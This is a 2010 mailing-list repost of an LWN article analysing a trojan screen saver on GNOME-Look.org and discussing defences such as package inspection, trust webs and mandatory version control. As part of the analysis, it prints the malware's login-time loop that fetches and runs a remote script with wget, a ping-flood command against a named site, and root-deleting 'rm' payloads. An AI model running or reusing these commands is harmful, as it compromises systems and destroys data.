MESSAGE
| DATE | 2010-01-04 |
| FROM | Ruben Safir
|
| SUBJECT | Subject: [NYLXS - HANGOUT] GNU Malware in Gnome Project..
|
http://lwn.net/SubscriberLink/367874/8f87d6dc7df4936f/
Linux users like to think that they are not vulnerable to all the evil
that is out there on the internet, but a recent incident showed that
they too should be careful. A screen saver from the popular web site
GNOME-Look.org turned out to be malware that made the user's computer
take part in a distributed denial-of-service attack.
GNOME-Look.org is a website where users can download artwork for the
GNOME Desktop, such as wallpapers, GTK themes, icons, splash screens,
and screen savers. Its motto is "Eyecandy for your GNOME-Desktop". One
week ago, an Ubuntu user "conorsulli" that had installed a screen saver
called "WaterFall" noticed something strange and posted his discovery in
the Ubuntu forums. The .deb file he had downloaded didn't install a
screen saver but instead some weird files.
First, it installed a script gnome.sh into /etc/profile.d, meaning that
the script gets executed every time someone logs in (because
/etc/profile executes all scripts it finds in /etc/profile.d). This
script then runs another installed script, /usr/bin/Auto.bash, which
downloads some files from a free web hosting site at T35 Hosting and
installs them locally: /usr/bin/run.bash and /usr/bin/index.php. The
whole Auto.bash script is:
while :
do
rm /usr/bin/run.bash
cd /usr/bin/
wget http://05748.t35.com/Bots/index.php
wget http://05748.t35.com/Bots/run.bash
sleep 4
rm index.php
chmod 755 run.bash
command -p /usr/bin/run.bash
done
So, Auto.bash downloads index.php (which it strangely removes before
doing anything with it) and run.bash, after which it executes the
latter. Ultimately, the downloaded script run.bash pings packets of a
large size (around 64 kB) to a server, presumably to mount a distributed
denial-of-service attack:
ping -s 65507 www.mmowned.com
The victim, MMOwned, seems to be a web site dedicated to exploits,
hacks, bots, and guides to the massively multiplayer online game World
of Warcraft. However, as the script run.bash gets downloaded each time
the user logs in, it could be replaced by other, much worse,
assignments. Note that the script Auto.bash uses an infinite loop.
Combined with the sleep command, this effectively downloads and executes
a new run.bash every few seconds, for as long as the user is logged in.
This is not very stealthy, as watching for suspicious network
connections with netstat or suspicious processes with top or ps will
likely spot the problem.
Dangerous payloads
When Ubuntu users visited the URI where the scripts were hosted to
investigate the case, the culprit noticed and explained his quest:
If your reading this from coming from that ubuntu forums place, Well
done you saw right [through] my "Screensaver" cough cough wink wink, I
can tell you this. Basically after getting some scripts to run upon
start up, It then sets to work downloading another file, This can be
changed on my server so in essence i could do whatever i like on your
computer, But i only really want to [perform] a DOS (denial of service)
attack, For no reason I'm attacking mmowned.com, Just using it as a
test. Hats Off!
And indeed, at one time the run.bash script contained sudo rm -f /*,
which removes all files (luckily not recursively, because the command
lacks the r flag) in the root directory. To prove his point, the bad guy
changed the payload a few times, for example to:
rm -f /*.*
echo "You see this? It's changed, before it was set to ping?"
Ultimately, conorsulli's discovery led the administrators of
GNOME-Look.org to remove the malicious screen saver from their web site.
The forum thread then listed instructions to remove the malware, first
purge the deb file with:
apt-get --purge remove app5552
then remove the downloaded files. However, because the run.bash script
is downloaded from a server every time the user logs in, no one can
exclude the possibility that it did something much more nasty and has
hidden a backdoor. A complete reinstall of Ubuntu is the only safe
solution here. But the bad guy didn't stop and tried to masquerade the
same attack in the "Ninja Black" theme.
There are still some gaps in our understanding about what the malware
did exactly. Because the .deb file can't be inspected anymore, it's hard
to fill in those gaps. There appear to be some problems with the script:
for example Auto.bash runs as a regular user and thus has no write
permissions to /usr/bin (unless that is somehow changed as part of the
installation script). So run.bash couldn't be downloaded and would only
be executed as it was installed from the .deb. The whole construction
looks like it might have been written by a script kiddie, but it's scary
to think about the consequences of a competent programmer writing such
malware.
In ... we trust
Of course it's not hard to come up with the lesson from of all this. One
of the Ubuntu users summarized it neatly:
The point is that I was dumb enough to think that Ubuntu was secure
enough out here in the Linux wonderland that I love so much that I ended
up on gnome-look downloading everything that looked cool without
examining everything first.
Examining the contents of a deb file is actually simple:
dpkg --contents foo.deb
The offline package installer Gdebi even shows the included files in a
package before it is installed. Eventually, the discussion moved into a
new thread, "Social engineering (trojan) via gnome-look.org", discussing
the problem of Linux malware from a general point of view.
Software in the official repositories of Linux distributions are more or
less trustworthy because most distributions have a policy that requires
that the software be tested. So package managers and the repositories
they use are a trusted source. This is one of the reasons why malware
isn't as common on Linux systems as on Windows, where the user has to
install lots of third-party software from various sources. The problem
of course is: if users trust arbitrary code, then they are vulnerable to
all sorts of security risks. When installing something from outside an
official repository, the user has to do the testing step himself.
Needless to say, many users won't do that. They just want to run the
newest screen savers, themes, and other software to spice up their
desktop.
However, there is a genuine need for more software than the official
repositories have. Ubuntu has the PPAs (Personal Package Archives) for
this purpose, but then the user has to trust the PPA owner. Although
there are some requirements for setting up a PPA, such as signing the
Ubuntu code of conduct, apparently there are no formal requirements or
reviews, so in principle anyone can set up a malicious PPA.
So maybe it's time to think about a more general solution, e.g. with a
GPG-based "web of trust". This can also be implemented in the form of
"trusted PPAs". This way the owner of a PPA can prove their identity,
and users can then download only packages from someone they trust (or
someone trusted by someone they trust). Incidentally, the roadmap of
Ubuntu Software Center shows some plans in this domain for Ubuntu 10.10:
"Establish and convey a trust level for software in PPAs, and let you
easily add PPAs within the Center.", although it doesn't mention how
that trust level would be established. But even when this is
implemented, one must not forget that trust can be misguided.
Apparently, people trusted GNOME-Look.org blindly.
Mandatory version control
Another proposal came from Amarok developer Mark Kretschmann, who has
been thinking about possible solutions to malware. He doesn't find a
review process practical:
That's a neat idea on paper. But only there. This couldn't possibly work
out, for two reasons: 1) Manpower - We simply don't have enough of that.
2) Responsibility - Who wants to be responsible for letting Malware slip
through your fingers? This can happen to anyone, and it would be pretty
embarrassing. I certainly wouldn't want to be responsible for anything.
What he proposes as a first barrier is mandatory version control for all
third-party KDE components, such as Amarok plugins, Plasma applets, and
so on:
With a VCS, it's very easy to tell who inserted Malware, and when this
person did this. This fact alone would provide some accountability, and
I think it might prevent a good deal of attempts of messing around with
the code. And even if it happened anyway, it would be trivial to revert
the change, and we would just ban the person who did this from ever
committing to this repository again.
Requiring that packages come out of project-run VCS doesn't solve all
the problems, but it could help. However, it does require that the VCS
server is adequately secured, as Joey Hess pointed out: "It's easy for
anyone with shell access to the svn server to go back and change someone
else's past commit, inserting their malware at that point without
anything pointing to them as the perpetrator."
The year of the Linux desktop?
Some people have jokingly said that this malware incident shows that we
have finally reached the "year of the Linux desktop". There is some
truth in that, though. Linux, and especially Ubuntu, is attracting more
and more new users. However, many of these users have learned bad habits
in the Windows world, such as downloading eye candy from arbitrary
sources. An incident like the WaterFall malware can only be avoided when
users are trained not to trust third-party software blindly. We also
need more technical measures: mandatory version control might be a first
step, but some kind web of trust for software could be helpful too. The
latter would make trust an explicit feature in package managers, which
may make users think about how they trust the source before they install
a package.
|
|
